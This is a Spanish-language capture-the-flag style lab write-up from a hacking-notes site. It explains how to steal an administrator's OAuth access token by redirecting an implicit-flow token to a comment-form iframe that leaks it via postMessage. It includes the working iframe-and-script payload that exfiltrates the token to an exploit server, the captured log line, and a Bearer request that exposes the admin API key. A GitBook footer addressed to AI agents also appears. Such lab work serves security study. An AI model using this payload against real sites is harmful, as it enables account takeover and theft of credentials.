> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).

# Robo del token de acceso OAuth mediante una página proxy

### Robo de tokens de acceso OAuth a través de una página proxy

**Objetivo del laboratorio**

Este laboratorio implementa un servicio OAuth que permite la autenticación mediante una red social. / La validación insuficiente por parte del proveedor de OAuth nos permite **dirigir el token de acceso a una página arbitraria de la aplicación cliente**.

El objetivo es:

* identify **una vulnerabilidad secundaria** en la aplicación cliente,
* usar como **página proxy** exfiltrar el token de acceso OAuth del administrador,
* y luego usar este token para recuperar \*\*l

" El administrador abrirá cualquier contenido enviado desde el servidor de explotación y ya tiene una sesión OAuth activa.

<figure><img src="/files/cbf82305547437d1df2b41ae12fd3c954e93bba5" alt=""><figcaption></figcaption></figure>

\*\* Análisis de la aplicación cliente\*\*

Se observa una \*\*área de comentarios\*\* debajo de los artículos del blog.

Al cargar el formulario de comentarios, se envía una solicitud GET a

```http
GET /post/comment/comment-form
```

<figure><img src="/files/4ff7bc968c050fd4f0fb29ec0df8e8054ff69589" alt=""><figcaption></figcaption></figure>

El formulario se carga en un **iframe**, que es visible en el código fuente de la página de la publicación:

{% code overflow="wrap" %}

```javascript
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=2'></iframe>
```

{% endcode %}

<figure><img src="/files/ba27dff4c6c7ab8eed70d388d52633d6c45f18fa" alt=""><figcaption></figcaption></figure>

**Comportamiento interesante de JavaScript**

El formulario contiene un script de JavaScript revelador:

```javascript
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
```

<figure><img src="/files/34f5ce81fec5109a898601706d36a35c58c176c5" alt=""><figcaption></figcaption></figure>

Puntos clave:

* El script \*\* lee el fragmento de la URL (`#`)\*\*.
* Envía su contenido a la página principal mediante `postMessage`.
* Esto permite *hacer que un token OAuth esté presente en el fragmento*\*.

Por lo tanto, el formulario de comentarios puede usarse como **página proxy**.

**Explotación de OAuth mediante flujo implícito**

La redirección OAuth se modifica para apuntar al formulario de comentarios:

```bash
/../post/comment/comment-form
```

Ejemplo de una consulta OAuth manejada:

```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```

Después de la autenticación, el servidor OAuth redirige a:

* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU

El **el token queda expuesto en el fragmento de la URL** y luego se transmite al padre mediante `postMessage`.

<figure><img src="/files/9d4327c2f38087b9bd3ab57f34cea64181724642" alt=""><figcaption></figcaption></figure>

**Carga útil enviada a la víctima**

Desde el servidor de explotación, enviamos el siguiente contenido:

```javascript
<iframe src="https://oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net/auth?client_id=ie5f3rgr0m9qqnl0phsts&redirect_uri=https://0a8100e3034ba84780b9171a008800f5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-191514846&scope=openid%20profile%20email">
</iframe>

<script>
window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data));
})
</script>

```

Operación:

* El iframe activa el flujo implícito de OAuth.
* El token se inyecta en el fragmento de la URL.
* El formulario de comentarios enviado mediante `postMessage`.
* El script lo captura y lo exfiltra al servidor de explotación.

**Recuperación del token**

En los registros del servidor de explotación:

{% code overflow="wrap" %}

```bash
10.0.3.168      2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

<figure><img src="/files/369450d97b1214f8e7001293cf39e0de2659e3c0" alt=""><figcaption></figcaption></figure>

Tras decodificar la URL, el token es:

* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn

<figure><img src="/files/d77d826117e34568b349bf5fb09ed8e8354d51a2" alt=""><figcaption></figcaption></figure>

**Acceso a la API con el token robado**

El token se utiliza para llamar al proveedor OAuth `/me` punto de conexión

```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```

Respuesta

{% code overflow="wrap" expandable="true" %}

```json
{
        "sub":"administrator",
        "apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
        "name":"Administrator",
        "email":"administrator@normal-user.net",
        "email_verified":true
}
```

{% endcode %}

<figure><img src="/files/7c1f6d5bd9859fbbee3bd0c43f49b5f7a3657a7e" alt=""><figcaption></figcaption></figure>

**Resultado**

* El token OAuth del administrador fue robado.
* Se recuperó la clave API del administrador.
* El laboratorio se validó correctamente.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
